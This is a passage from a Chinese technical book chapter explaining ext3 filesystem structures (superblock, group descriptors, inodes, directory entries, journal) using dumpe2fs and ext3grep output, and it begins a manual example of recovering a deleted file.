* e2fsck's requirements are more strict; if it doesn't know

* about a feature in either the compatible or incompatible

* feature set, it must abort and not try to meddle with

* things it doesn't understand...

*/

__le32　s_first_ino;　　　　　/* First non-reserved inode */

__le16　s_inode_size;　　　　/* size of inode structure */

__le16　s_block_group_nr;　　　/* block group # of this superblock */

__le32　s_feature_compat;　　　/* compatible feature set */

/*60*/ __le32　s_feature_incompat;　　　/* incompatible feature set */

__le32　s_feature_ro_compat;　　　/* readonly-compatible feature set */

/*68*/ __u8　s_uuid[16];　　　　　/* 128-bit uuid for volume */

/*78*/ char　s_volume_name[16];　　　/* volume name */

/*88*/ char　s_last_mounted[64];　　　/* directory where last mounted */

/*C8*/__le32 s_algorithm_usage_bitmap; /* For compression */

/*

* Performance hints. Directory preallocation should only

* happen if the EXT3_FEATURE_COMPAT_DIR_PREALLOC flag is on.

*/

__u8　s_prealloc_blocks;　　　/* Nr of blocks to try to preallocate*/

__u8　s_prealloc_dir_blocks;　　/* Nr to preallocate for dirs */

__u16　s_reserved_gdt_blocks;　　/* Per group desc for online growth */

/*

* Journaling support valid if EXT3_FEATURE_COMPAT_HAS_JOURNAL set.

*/

/*D0*/ __u8　s_journal_uuid[16];　　　/* uuid of journal superblock */

/*E0*/ __le32　s_journal_inum;　　　　/* inode number of journal file */

__le32　s_journal_dev;　　　　/* device number of journal file */

__le32　s_last_orphan;　　　　/* start of list of inodes to delete */

__le32　s_hash_seed[4];　　　　/* HTREE hash seed */

__u8　s_def_hash_version;　　　/* Default hash version to use */

__u8s_reserved_char_pad;

__u16 s_reserved_word_pad;

__le32 s_default_mount_opts;

__le32　s_first_meta_bg;　　　　/* First metablock block group */

__u32　s_reserved[190];　　　　/* Padding to the end of the block */

};

……

分析Superblock，其内容及各字节的作用见表15.4。


表15.4 Superblock各字节的作用

[image: figure_0328_0156]



续表

[image: figure_0329_0157]


下面通过一个具体的实例来分析超级块。这是一款正在使用中的80GB硬盘。为了更好理解，在WinHex中Offset部分使用了两种进制的表示方法。

十六进制表示法见图15.3。

[image: figure_0329_0158]
图15.3 十六进制表示法



十进制表示见图15.4。

下面分析一下本例。

0～3：占用4字节，表示总的节点数0065F8=26104。

4～7：占用4字节，表示总的块数000197C4=104388。

[image: figure_0330_0159]
图15.4 十进制表示法



8～11：占用4字节，表示保留的块数00001463=5219。

12～15：占用4字节，表示空闲块数00009A68=39528。

16～19：占用4字节，表示空闲inode数0065BD=26072。

20～23：占用4字节，表示块组0的起始块号00000001=1。

24～27：占用4字节，表示块大小00000000=0，按照算法表示1024。

28～31：占用4字节，表示片断大小00000000=0，按照算法表示1024。

32～35：占用4字节，表示块组所包含的块数00002000=8192。

36～39：占用4字节，表示块组所包含的片断数00002000=8192。

40～43：占用4字节，表示每个块组所包含的inode数000007D8=2008。

44～47：占用4字节，表示最后挂载时间4BEC98F3。

48～51：占用4字节，表示最后写入时间4BEC98F3。

52～53：占用2字节，表示当前挂载数006A。

54～55：占用2字节，表示最大挂载数FFFF。

56～57：占用2 字节，表示魔术签名“EF 53”。

58～59：占用2字节，表示文件系统状态0001=1，表示系统正常。

60～61：占用2字节，表示检测到错误后的行为0001=1，表示继续。

62～63：占用2字节，表示子版本级别00000=0。

64～67：占用4字节，表示最后检测的时间478B4310。

68～71：占用4字节，表示两次检测的最长间隔00000000=0，默认检查。

72～75：占用4字节，表示操作系统类型00000000=0，表示Linux系统。

76～79：占用4字节，表示主版本级别00000001=1，动态版本。

80～81：占用2字节，默认UID保留块0000。

82～83：占用2字节，默认GID保留块0000。

84～87：占用4字节，表示第一个非保留inode，0000000B=11。

88～89：占用2字节，表示节点结构的大小0080=128。

90～91：占用2字节，表示该超级块所在的块组0000=0。

92～95：占用4字节，表示兼容特征0000003C。

96～99：占用4字节，表示非兼容特征00000006。

100～103：占用4字节，表示只读兼容特征00000001。

104～119：占用16字节，128位文件系统ID为8BAE9731909DB09C544614DCBF47233D。

120～135：占用16字节，表示卷名0000000000000000000000746F6F622F。

136～199：占用64字节，表示最后一次挂载的目录。

0000000000000000 0000000000000000 0000000000000000

0000000000000000 0000000000000000 0000000000000000

0000000000000000 0000000000000000

200～203：占用4字节，表示压缩方法00000000。

204：占用1字节，表示文件再分配块数00。

205：占用1字节，表示目录再分配块数00。

206～207：占用2字节，表示每组描述符在线增长数0100。

208～223：占用16字节，表示日志超级块的UUID

0000000000000000 0000000000000000。

224～227：占用4 字节，表示日志文件（journal file）的inode 00000008=8。

228～231：占用4 字节，表示日志文件设备的inode 00000000。

232～235：占用4字节，表示被删除节点的列表的开始处00000000。

236～251：占用16字节，表示Hash种子树。

77CF569C98C528BE614039B87F7756D3。

252：占用1字节，表示默认使用的Hash版本02。

253～255：保留。

256～259：占用4字节，表示默认挂载选项0000000C。

260～263：占用4字节，表示第一个元块块组00000000=0。

下面是通过dumpe2fs得到的信息。

[root@nas ～]# dumpe2fs /dev/sdb1

dumpe2fs 1.39 (29-May-2006)

Filesystem volume name: <none>

Last mounted on:　　<not available>

Filesystem UUID:　　c6e67db9-f86a-41e5-9fb0-c09bd41b577a

Filesystem magic number:　0xEF53

Filesystem revision #:　1 (dynamic)

Filesystem features:　　has_journal resize_inode dir_index filetype sparse_super large_file

Default mount options:　(none)

Filesystem state:　　clean

Errors behavior:　　Continue

Filesystem OS type:　　Linux

Inode count:　　　9781248

Block count:　　　19531015

Reserved block count:　976550

Free blocks:　　　19178024

Free inodes:　　　9781237

First block:　　　0

Block size:　　　4096

Fragment size:　　　4096

Reserved GDT blocks:　1019

Blocks per group:　　32768

Fragments per group:　32768

Inodes per group:　　16384

Inode blocks per group:　512

Filesystem created:　　Thu May 13 19:04:35 2010

Last mount time:　　Thu May 13 19:06:10 2010

Last write time:　　Thu May 13 19:06:21 2010

Mount count:　　　2

Maximum mount count:　36

Last checked:　　　Thu May 13 19:04:35 2010

Check interval:　　15552000 (6 months)

Next check after:　　Tue Nov　9 19:04:35 2010

Reserved blocks uid:　0 (user root)

Reserved blocks gid:　0 (group root)

First inode:　　　11

Inode size:　　　128

Journal inode:　　　8

Default directory hash:　tea

Directory Hash Seed:　9e0f6a8c-ae09-4473-b821-088e5b189b47

Journal backup:　　inode blocks

Journal size:　　　128M

Group 0: (Blocks 0-32767)

Primary superblock at 0, Group descriptors at 1-5

Reserved GDT blocks at 6-1024

Block bitmap at 1025 (+1025), Inode bitmap at 1026 (+1026)

Inode table at 1027-1538 (+1027)

0 free blocks, 16373 free inodes, 2 directories

Free blocks:

Free inodes: 12-16384

……

Group 596: (Blocks 19529728-19531014)

Block bitmap at 19529728 (+0), Inode bitmap at 19529729 (+1)

Inode table at 19529730-19530241 (+2)

773 free blocks, 16384 free inodes, 0 directories

Free blocks: 19530242-19531014

Free inodes: 9764865-9781248

3．组（Groups）

每个 ext3 文件系统都被分成很多组，每一组都包含一个固定数目的 block，除了最后的一个组，最后的一个组包含了剩余的block。每一个group包含的block数已在superblock中给定。

[root@nas ～]# ext3grep /dev/sda3 --superblock | grep 'Blocks per group'

Blocks per group:　　32768

同样也可以通过上面的dumpe2fs命令查看。由于组描述表紧临超级块，所以可以使用上面的方法用DD命令得到，然后再进行分析。

每一组使用一个block作为位图（bitmap），以此来保存该组内块的分配（被使用情况）。因此可以计算一下，每个block的大小为4096字节，每字节8位，那么4096×8=32768就是一个组的 block 数量。文件和目录都存储在块中，而块的分配情况是记录在块位图中，ext3 按照块组来管理块，因此就会在每个块组中设置块位图。

节点数据结构是128个字节（理论上它们可以扩展；但真实的大小在superblock中再次给定）存储在一个表中，在每一个组中有4096 / 128 = 32 节点。在位图中至多32768个bit，每个bit对应1 个块，每个字节对应8个块。可以得出结论，每一组最多32768个inode，于是有32768 / 32 =1024个block，这就是在每一组节点表中的block数。节点表的真实大小由存储在superblock中的“Number of inodes per group”给定。

[root@nas ～]# ext3grep /dev/sda3 --superblock | egrep 'Size of inode|inodes per group'

Number of inodes per group: 32736

Size of inode structure: 128

看一下“/usr/include/linux/ext3_fs.h”，在这里节选了块组描述的结构，块位图号和节点表块号的开始处均在此定义。

[root@mail ～]# more /usr/include/linux/ext3_fs.h

……

/*

* Structure of a blocks group descriptor

*/

struct ext3_group_desc

{

__le32　bg_block_bitmap;　　　/* Blocks bitmap block */

__le32　bg_inode_bitmap;　　　/* Inodes bitmap block */

__le32　bg_inode_table;　　　/* Inodes table block */

__le16　bg_free_blocks_count;　/* Free blocks count */

__le16　bg_free_inodes_count;　/* Free inodes count */

__le16　bg_used_dirs_count;　　/* Directories count */

__u16 bg_pad;

__le32 bg_reserved[3];

};

分析组描述符，其内容及各字节的作用见表15.5。


表15.5 组描述符个字节的功能

[image: figure_0333_0160]


由于结构的大小是2的幂，因此选择了32字节，描述用了18字节，其余的保留。

注意一个4096字节block能够用于128个组描述符(128×32=4096）。每一个组描述表能够存储32768个block，因此一个4096字节的block可以管理(4096×32768×128=)17179869184字节。

所以只有大于(17179869184/(1024×1024×1024))=16GB的分区才会使用多于1个block的组描述表。

可以通过ext3grep打印出组描述表的内容。

[root@nas ～]# ext3grep /dev/sdb1

Running ext3grep version 0.10.2

No action specified; implying --superblock.

……

Number of groups: 597

Group 0: block bitmap at 1025, inodes bitmap at 1026, inode table at 1027

0 free blocks, 16373 free inodes, 2 used directory

……

Group 294: block bitmap at 9633792, inodes bitmap at 9633793, inode table at 9633794

32254 free blocks, 16384 free inodes, 0 used directory

……

Group 596: block bitmap at 19529728, inodes bitmap at 19529729, inode table at 19529730

773 free blocks, 16384 free inodes, 0 used directory

4．节点（inodes）

节点表用于存储节点，节点表存在于每一个组中，节点用于存放各种元数据，这些元数据的类型包括符号链接、目录、文件、FIFO或者是UNIX socket 等。就文件和目录而言，真实的数据存储在inode之外的文件系统blocks中。

前12个块号用于存储节点，如果需要更多的块，那么节点会指向一个间接的block，随后节点会被存储在一个间接块中，或者是三次间接块中。

每一组的节点表中的节点包含元数据，元数据存储着每种文件系统的数据类型，这种类型可能是一个符号链接，也可能是一个目录、文件、FIFO、UNIX socket 等等。对于文件和目录，真实的数据被存储在文件系统块以外的inode。inode结构是用C语言实现的，ext3_inode结构在头文件/usr/include/linux/ext3_fs.h中给出，在下面给出了头文件中的结构，并用表格说明其用法。

节点结构由C语言所写，ext3_inode的结构在头文件/usr/include/linux/ext3_fs.h中，如下所示。

[root@mail ～]# more /usr/include/linux/ext3_fs.h

……

/*

* Structure of an inode on the disk

*/

struct ext3_inode {

__le16　i_mode;　　　　/* File mode */

__le16　i_uid;　　　　/* Low 16 bits of Owner Uid */

__le32　i_size;　　　　/* Size in bytes */

__le32　i_atime;　　　/* Access time */

__le32　i_ctime;　　　/* Creation time */

__le32　i_mtime;　　　/* Modification time */

__le32　i_dtime;　　　/* Deletion Time */

__le16　i_gid;　　　　/* Low 16 bits of Group Id */

__le16　i_links_count;　　/* Links count */

__le32　i_blocks;　　　/* Blocks count */

__le32　i_flags;　　　/* File flags */

union {

struct {

__u32 l_i_reserved1;

} linux1;

struct {

__u32 h_i_translator;

} hurd1;

struct {

__u32 m_i_reserved1;

} masix1;

} osd1;　　　　　　　　/* OS dependent 1 */

__le32　i_block[EXT3_N_BLOCKS];　　/* Pointers to blocks */

__le32　i_generation;　　　　/* File version (for NFS) */

__le32　i_file_acl;　　　　　/* File ACL */

__le32　i_dir_acl;　　　　　/* Directory ACL */

__le32　i_faddr;　　　　　　/* Fragment address */

union {

struct {

__u8　l_i_frag;　　/* Fragment number */

__u8　l_i_fsize;　　/* Fragment size */

__u16 i_pad1;

__le16　l_i_uid_high;　/* these 2 fields　*/

__le16　l_i_gid_high;　/* were reserved2[0] */

__u32 l_i_reserved2;

} linux2;

struct {

__u8　h_i_frag;　　/* Fragment number */

__u8　h_i_fsize;　　/* Fragment size */

__u16 h_i_mode_high;

__u16 h_i_uid_high;

__u16 h_i_gid_high;

__u32 h_i_author;

} hurd2;

struct {

__u8　m_i_frag;　　/* Fragment number */

__u8　m_i_fsize;　　/* Fragment size */

__u16 m_pad1;

__u32 m_i_reserved2[2];

} masix2;

} osd2;　　　　　　　　/* OS dependent 2 */

__le16 i_extra_isize;

__le16 i_pad1;

};

节点的用法。

表15.6是一个inode的结构表。


表15.6 inode的结构表

[image: figure_0335_0161]



续表

[image: figure_0336_0162]


结合上面的节点表和下面superblock。

[root@nas bin]# ./ext3grep /dev/sdb1　--superblock

Running ext3grep version 0.10.2

Inodes count: 9781248

Blocks count: 19531015

Reserved blocks count: 976550

Free blocks count: 19178024

Free inodes count: 9781237

First Data Block: 0

Block size: 4096

Fragment size: 4096

Number of blocks per group: 32768

Number of fragments per group: 32768

Number of inodes per group: 16384

Mount time: Thu Jan 1 08:00:00 1970

Write time: Mon Jan 10 08:25:19 2011

Mount count: 0

Maximal mount count: 33

Magic signature: 0xef53

File system state: 'Unmounted cleanly'

Size of inode structure: 128

Block group # of this superblock: 0

compatible feature set: HAS_JOURNAL RESIZE_INODE DIR_INDEX

incompatible feature set: FILETYPE

readonly-compatible feature set: SPARSE_SUPER LARGE_FILE

Per group desc for online growth: 1019

UUID of journal superblock: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

Inode number of journal file: 8

Device number of journal file: 0

Start of list of inodes to delete: 0

First metablock block group: 0

Number of groups: 597

Group 0: block bitmap at 1025, inodes bitmap at 1026, inode table at 1027

0 free blocks, 16373 free inodes, 2 used directory

Group 1: block bitmap at 33793, inodes bitmap at 33794, inode table at 33795

29650 free blocks, 16384 free inodes, 0 used directory

Group 2: block bitmap at 65536, inodes bitmap at 65537, inode table at 65538

32254 free blocks, 16384 free inodes, 0 used directory

…… //省略部分

Group 595: block bitmap at 19496960, inodes bitmap at 19496961, inode table at 19496962

32254 free blocks, 16384 free inodes, 0 used directory

Group 596: block bitmap at 19529728, inodes bitmap at 19529729, inode table at 19529730

773 free blocks, 16384 free inodes, 0 used directory

Minimum / maximum journal block: 1545 / 35886

Loading journal descriptors... sorting... done

The oldest inode block that is still in the journal, appears to be from 0 = Thu Jan 1 08:00:00 1970

Number of descriptors in journal: 0; min / max sequence numbers: 4294967295 / 0

…… //省略部分

超级块（superblock）显示了总共有多少 inode（例如 Inodes count: 9781248），每一个 group有多少inode（例如Number of inodes per group: 16384），通过这个就可以计算出group的总数。因为inode被存储在每组各自的inode表中，首先要确定一个inode属于哪个group，因为inode是从1开始统计的，转化从inode到group的公式（确定一个inode属于哪一个group）如下。

group = (inode_number - 1) / inodes_per_group

这将给出正确的inode表。

计算inode的索引（index）如下。

index = inode_number - (group * inodes_per_group + 1)

因此，group 能够被如下确定。每个 inode 能够被一个数字标识一个连续的地址[1, number_of_inodes]，这里的inode 可以被给定。

[root@nas ～]# ext3grep /dev/sdb1 --superblock | grep 'Inodes count'

Inodes count: 9781248

在某些情况下，也许想知道哪些块在文件系统属于inode表存储的一个特定的inode，这个可以通过--inode-to-block来做到。

[root@nas ～]#ext3grep /dev/sdb1 --inode-to-block 2

……

Inode 2 resides in block 1027 at offset 0x80.

节点2（在ext3_fs.h文件中有宏定义EXT3_ROOT_INO），总是被用于分区的根，类型为目录。其他所有的特殊节点只使用了EXT3_JOURNAL_INO (number 8)。

[root@share linux-2.6.32]# more include/linux/ext3_fs.h

……

/*

* Special inodes numbers

*/

#define EXT3_BAD_INO　　　1　/* Bad blocks inode */

#define EXT3_ROOT_INO　　　2　/* Root inode */

#define EXT3_BOOT_LOADER_INO　5　/* Boot loader inode */

#define EXT3_UNDEL_DIR_INO　6　/* Undelete directory inode */

#define EXT3_RESIZE_INO　　7　/* Reserved group descriptors inode */

#define EXT3_JOURNAL_INO　　8　/* Journal inode */

……

通过ext3grep命令，查看一下该节点的内容。

[root@nas ～]# ext3grep /dev/sdb1 --inode 2 --print

Running ext3grep version 0.10.2

Number of groups: 597

……

Hex dump of inode 2:

0000 | ed 41 00 00 00 10 00 00 d9 dc eb 4b d9 dc eb 4b | .A.........K...K

0010 | d9 dc eb 4b 00 00 00 00 00 00 03 00 08 00 00 00 | ...K............

0020 | 00 00 00 00 00 00 00 00 03 06 00 00 00 00 00 00 | ................

0030 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

0040 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

0050 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

0060 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

0070 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

Inode is Allocated

Group: 0

Generation Id: 0

uid / gid: 0 / 0

mode: drwxr-xr-x

size: 4096

num of links: 3

sectors: 8 (--> 0 indirect blocks).

Inode Times:

Accessed:　　1273748697 = Thu May 13 19:04:57 2010

File Modified: 1273748697 = Thu May 13 19:04:57 2010

Inode Modified: 1273748697 = Thu May 13 19:04:57 2010

Deletion time: 0

Direct Blocks: 1539

The first block of the directory is 1539.

……

Inode 2 is directory "".

Directory block 1539:

.-- File type in dir_entry (r=regular file, d=directory, l=symlink)

|　　.-- D: Deleted ; R: Reallocated

Indx Next |　Inode　| Deletion time　　　　　Mode　　File name

==========+==========+------------data-from-inode------+-----------+=========

0　1 d　　2　　　　　　　　drwxr-xr-x　.

1　2 d　　2　　　　　　　　drwxr-xr-x　..

2　end d　11　　　　　　　　drwx------　lost+found

分析一下上面的输出。ext3grep导出节点表的十六进制目录，然后又解释了节点表。

5．规则文件（Regular Files）

如果节点表示一个规则文件，那么块中只是简单地包括了该文件的数据。如果一个文件的大小不是块大小的整倍数，多余的字节会在最后的一个块中，最后的块中剩余的字节将会以0填满（至少在Linux系统中是这样）。

6．符号链接（Symbolic links）

符号链接的值是一个字符串，一个指向目标的路径名。字符串的长度由 i_size 给定，如果i_blocks是0，那么i_block不包含block编号，但是被直接用于存储字符串。然而，如果目标的名字的长度大于i_block指定的值，那么i_blocks将是一个非零值，并且i_block[0]将指向一个包含目标名的block。

7．目录（Directories）

如果节点表示一个目录，那么它的链表数据结构是ext3_dir_entry_2，每个块是独立的，块的外部没有文件显示列表入口点。第一个block总是以“.”和“..”目录开始。

结构代码如下，着重看struct ext3_dir_entry_2 部分。

[root@mail ～]# more /usr/include/linux/ext3_fs.h

……

*

* Structure of a directory entry

*/

#define EXT3_NAME_LEN 255

struct ext3_dir_entry {

__le32　inode;　　　　　/* Inode number */

__le16　rec_len;　　　　　/* Directory entry length */

__le16　name_len;　　　　/* Name length */

char　name[EXT3_NAME_LEN];　　/* File name */

};

/*

* The new version of the directory entry. Since EXT3 structures are

* stored in intel byte order, and the name_len field could never be

* bigger than 255 chars, it's safe to reclaim the extra byte for the

* file_type field.

*/

struct ext3_dir_entry_2 {

__le32　inode;　　　　　/* Inode number */

__le16　rec_len;　　　　　/* Directory entry length */

__u8　name_len;　　　　/* Name length */

__u8file_type;

char　name[EXT3_NAME_LEN];　　/* File name */

};

分析ext3_dir_entry_2结构见表15.7。


表15.7 ext3_dir_entry_2结构
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使用 ext3grep 命令的“--ls –inode”选项列出每一个节点 N 的目录块所包含的内容。例如列出分区的根目录如下。

[root@nas /]# ext3grep /dev/sdb1 --ls --inode 2

Running ext3grep version 0.10.2

Number of groups: 597

Loading group metadata... done

Minimum / maximum journal block: 1545 / 35886

Loading journal descriptors... sorting... done

The oldest inode block that is still in the journal, appears to be from 1266736861 =Sun Feb 21 15:21:01 2010

Number of descriptors in journal: 1865; min / max sequence numbers: 97 / 308

Inode is Allocated

The first block of the directory is 1539.

Inode 2 is directory "".

Directory block 1539:

.-- File type in dir_entry (r=regular file, d=directory, l=symlink)

|　　.-- D: Deleted ; R: Reallocated

Indx Next |　Inode　| Deletion time　　　　　Mode　　File name

==========+==========+----------------data-from-inode------+-----------+=========

0　1 d　　2　　　　　　　　　drwxr-xr-x　.

1　end d　　2　　　　　　　　　drwxr-xr-x　..

2　3 d　　11　D 1273641978 Wed May 12 13:26:18 2010　drwx------　lost+found

3　4 r　49153　D 1273641978 Wed May 12 13:26:18 2010　rrw-r--r--　perl.rpm

4　7 d　32769　D 1273641978 Wed May 12 13:26:18 2010　drwxr-xr-x　side

5　6 d　4472833　D 1273641976 Wed May 12 13:26:16 2010　drwxr-xr-x　aide

6　7 r　49157　D 1273641976 Wed May 12 13:26:16 2010　rrw-r--r--　ft

7　9 d　6488065　D 1273641978 Wed May 12 13:26:18 2010　drwxr-xr-x　side2

8　9 r　49154　D 1273641976 Wed May 12 13:26:16 2010　rrw-r--r--　f

9　end d　5373953　D 1273641978 Wed May 12 13:26:18 2010　drwxr-xr-x　side3

10　11 r　49156　D 1273641976 Wed May 12 13:26:16 2010　rrwxr-xr-x　bash

11　12 d　7503873　D 1273641976 Wed May 12 13:26:16 2010　drwxr-xr-x　sbin

12　end d　3522561　D 1273641978 Wed May 12 13:26:18 2010　drwxr-xr-x　lib

13　14 d　1048577　D 1273641976 Wed May 12 13:26:16 2010　drwxr-xr-x　bd

14　end d　507905　D 1273641976 Wed May 12 13:26:16 2010　drwxrwxrwx　clamav

15　end r　49158　D 1266733035 Sun Feb 21 14:17:15 2010　rrw-r--r--　ft～

然后就可以通过“ext3grep --ls --inode 节点号”列出任何节点中包含的内容。

[root@nas /]# ext3grep /dev/sda3 --ls --inode 7503873

……

.-- File type in dir_entry (r=regular file, d=directory, l=symlink)

|　　.-- D: Deleted ; R: Reallocated

Indx Next |　Inode　| Deletion time　　　　　Mode　　File name

==========+==========+----------------data-from-inode------+-----------+=========

0　1 d 2618881　　　　　　　　　drwxr-xr-x　.

1　end d　　2　　　　　　　　　drwxr-xr-x　..

78　79 r 2618953　D 1262030806 Tue Dec 29 04:06:46 2009　rrwxr-xr-x　mkfs.ext2

79　80 r 2618953　D 1262030806 Tue Dec 29 04:06:46 2009　rrwxr-xr-x　mkfs.ext3

81　82 r 2618953　D 1262030806 Tue Dec 29 04:06:46 2009　rrwxr-xr-x　mke2fs

157　158 r 2619027　D 1249454811 Wed Aug　5 14:46:51 2009　rrwxr-xr-x　init

注意：使用“ext3grep --ls --inode 节点号”能够显示所有目录条目，但是被删除的条目不会显示。

看上面的黑体字部分。

Deletion time 表示删除时间，在下面的每一个条目中，如果删除时间（Deletion Time）部分为非零，那么表示该文件被删除。

8．日志Journal

ext3的日志模式有3种，其中journal日志模式是最慢的一种，也是最安全的一种。对于数据的每个变化它都需要向日志中写入一次，向磁盘中写入两次，而顺序是首先向日志中写入数据，然后才会向文件写入。在此期间发生意外，那么有日志来保证数据的一致性。

日志存在于固定数目的文件中，它是一个特殊的节点，在内核中定义为EXT3_JOURNAL_INO，通常是8。

[root@mail ～]# more /usr/include/linux/ext3_fs.h

……

/*

* Special inodes numbers

*/

#define EXT3_BAD_INO　　　1　/* Bad blocks inode */

#define EXT3_ROOT_INO　　　2　/* Root inode */

#define EXT3_BOOT_LOADER_INO　5　/* Boot loader inode */

#define EXT3_UNDEL_DIR_INO　6　/* Undelete directory inode */

#define EXT3_RESIZE_INO　　7　/* Reserved group descriptors inode */

#define EXT3_JOURNAL_INO　　8　/* Journal inode */

……

实际的节点也可以在superblock中找到。

[root@nas ～]# ext3grep /dev/sdb1 --superblock | grep 'Inode number of journal file'

Inode number of journal file: 8

它的大小可以在节点8找到。

[root@nas ～]# ext3grep /dev/sdb1 --print --inode 8

Running ext3grep version 0.10.2

Number of groups: 597

Loading group metadata... done

Minimum / maximum journal block: 1545 / 35886

Loading journal descriptors... sorting... done

The oldest inode block that is still in the journal, appears to be from 1273827555 =Fri May 14 16:59:15 2010

Number of descriptors in journal: 115; min / max sequence numbers: 5 / 28

Hex dump of inode 8:

0000 | 80 81 00 00 00 00 00 08 00 00 00 00 dc dc eb 4b | ...............K

0010 | dc dc eb 4b 00 00 00 00 00 00 01 00 10 01 04 00 | ...K............

0020 | 00 00 00 00 00 00 00 00 09 06 00 00 0a 06 00 00 | ................

0030 | 0b 06 00 00 0c 06 00 00 0d 06 00 00 0e 06 00 00 | ................

0040 | 0f 06 00 00 10 06 00 00 11 06 00 00 12 06 00 00 | ................

0050 | 13 06 00 00 14 06 00 00 15 06 00 00 16 0a 00 00 | ................

0060 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

0070 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

Inode is Allocated

Group: 0

Generation Id: 0

uid / gid: 0 / 0

mode: rrw-------

size: 134217728

num of links: 1

sectors: 262416 (--> 34 indirect blocks).

Inode Times:

Accessed:　　0

File Modified: 1273748700 = Thu May 13 19:05:00 2010

Inode Modified: 1273748700 = Thu May 13 19:05:00 2010

Deletion time:　0

Direct Blocks: 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556

Indirect Block: 1557

Double Indirect Block: 2582

可以看到 journal 的大小是 134 217 728 字节，或 32768(134217728/4096=32768)个 block，这个值在前面的格式化中也见过“Creating journal (32768 blocks): done”。前12 个block 直接列在该节点内为 1545～1156，还有一个间接 block 是 1557，这个间接块可以包含 1024 个 block，这些block(1158～2181)都跟随在这个间接block 之后。然后是一个二次间接（double indirect）块2582。

Journal 文件中的第一个 block（在上面的例子中为 block 1545），其结构在文件中定义/usr/include/linux/jbd.h如下。

/*

* The journal superblock. All fields are in big-endian byte order.

*/

typedef struct journal_superblock_s

{

/* 0x0000 */

journal_header_t s_header;

/* 0x000C */

/* Static information describing the journal */

__be32　s_blocksize;　　　　/* journal device blocksize */

__be32　s_maxlen;　　　　/* total blocks in journal file */

__be32　s_first;　　　　　/* first block of log information */

/* 0x0018 */

/* Dynamic information describing the current state of the log */

__be32　s_sequence;　　　　/* first commit ID expected in log */

__be32　s_start;　　　　　/* blocknr of start of log */

/* 0x0020 */

/* Error value, as set by journal_abort(). */

__be32 s_errno;

/* 0x0024 */

/* Remaining fields are only valid in a version-2 superblock */

__be32　s_feature_compat;　　/* compatible feature set */

__be32　s_feature_incompat;　　/* incompatible feature set */

__be32　s_feature_ro_compat;　　/* readonly-compatible feature set */

/* 0x0030 */

__u8　s_uuid[16];　　　　/* 128-bit uuid for journal */

/* 0x0040 */

__be32　s_nr_users;　　　　/* Nr of filesystems sharing log */

__be32　s_dynsuper;　　　　/* Blocknr of dynamic superblock copy*/

/* 0x0048 */

__be32　s_max_transaction;　　/* Limit of journal blocks per trans.*/

__be32　s_max_trans_data;　　/* Limit of data blocks per trans. */

/* 0x0050 */

__u32 s_padding[44];

/* 0x0100 */

__u8　s_users[16*48];　　　/* ids of all fs'es sharing the log */

/* 0x0400 */

} journal_superblock_t;

由ext3grep命令可以得到如下结果。

[root@nas ～]# ext3grep /dev/sdb1 --journal --superblock

Running ext3grep version 0.10.2

Journal Super Block:

Signature: 0x3225106840

Block type: Superblock version 2

Sequence Number: 0

Journal block size: 4096

Number of journal blocks: 32768

Journal block where the journal actually starts: 1

Sequence number of first transaction: 30

Journal block of first transaction: 0

Error number: 0

Compatible Features: 0

Incompatible features: 1

Read only compatible features: 0

Journal UUID: 0xc6 0xe6 0x7d 0xb9 0xf8 0x6a 0x41 0xe5 0x9f 0xb0 0xc0 0x9b 0xd4 0x1b 0x57 0x7a

Number of file systems using journal: 1

Location of superblock copy: 0

Max journal blocks per transaction: 0

Max file system blocks per transaction: 0

IDs of all file systems using the journal:

1. 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

Minimum / maximum journal block: 1545 / 35886

Loading journal descriptors... sorting... done

The oldest inode block that is still in the journal, appears to be from 1273827555 =Fri May 14 16:59:15 2010

Number of descriptors in journal: 115; min / max sequence numbers: 5 / 28

在这里可以看出日志实际上是从“Journal Block Number 1”开始，最后一个block为“Journal Block Number 32768”，不同的文件系统这些值是不一样的，但是你可以通过以下的方法找到真正的block号。

[root@nas ～]# ext3grep /dev/sdb1 --journal --journal-block 1

Running ext3grep version 0.10.2

Minimum / maximum journal block: 1545 / 35886

Loading journal descriptors... sorting... done

The oldest inode block that is still in the journal, appears to be from 1273827555 =Fri May 14 16:59:15 2010

Number of descriptors in journal: 115; min / max sequence numbers: 5 / 28

Group: 0

Block 1546 belongs to the journal.

Block type: Descriptor block

Sequence Number: 21

1547 = 1027

通过上面可以看出“Journal Block Number 1”就是文件系统的block 1546。

日志文件由“事务（Transactions）”充满，每一个事务都是一个递增的序列号，如果到达了日志文件的结尾部分，那么会回到日志文件的开始部分继续写，就这样循环写。然而，如果一个文件系统没有“干净”地卸载，那么下一次挂载后，总是会从开始处写入，因此要注意，如果是做恢复，要么别挂载，要么就以只读的方式挂载。

讲了这么多理论，都让人烦了，这些理论稍微懂点就可以了，反正也不是数据恢复，我们只是考虑恢复误删除的文件或者是在被恶意破坏后的系统中查找点残羹冷炙，然后再品尝一下！




15.2.2 手动恢复举例


在下面的例子中将手动恢复一个小文件。使用“ext3grep /dev/sdb1 --ls --inode 2”查找想要恢复的文件。

先看一下总体情况。

[root@nas ～]# ext3grep /dev/sdb1 --ls --inode 2

Running ext3grep version 0.10.2

……

Directory block 1539:

.-- File type in dir_entry (r=regular file, d=directory, l=symlink)

|　　.-- D: Deleted ; R: Reallocated

Indx Next |　Inode　| Deletion time　　　　　Mode　　File name

==========+==========+----------------data-from-inode------+-----------+=========

0　1 d　　2　　　　　　　　　drwxr-xr-x　.

1　2 d　　2　　　　　　　　　drwxr-xr-x　..

2　end r　11　　　　　　　　　rrw-r--r--　pp

3　4 d 3604481　D 1274249319 Wed May 19 14:08:39 2010　drwxr-xr-x　BB

4　end d　98305　D 1274249319 Wed May 19 14:08:39 2010　drwxr-xr-x　CC

6　7 r　49153　D 1273827555 Fri May 14 16:59:15 2010　rrw-------　.jj.swp

7　end r　49154　D 1273827570 Fri May 14 16:59:30 2010　rrw-r--r--　jj

…

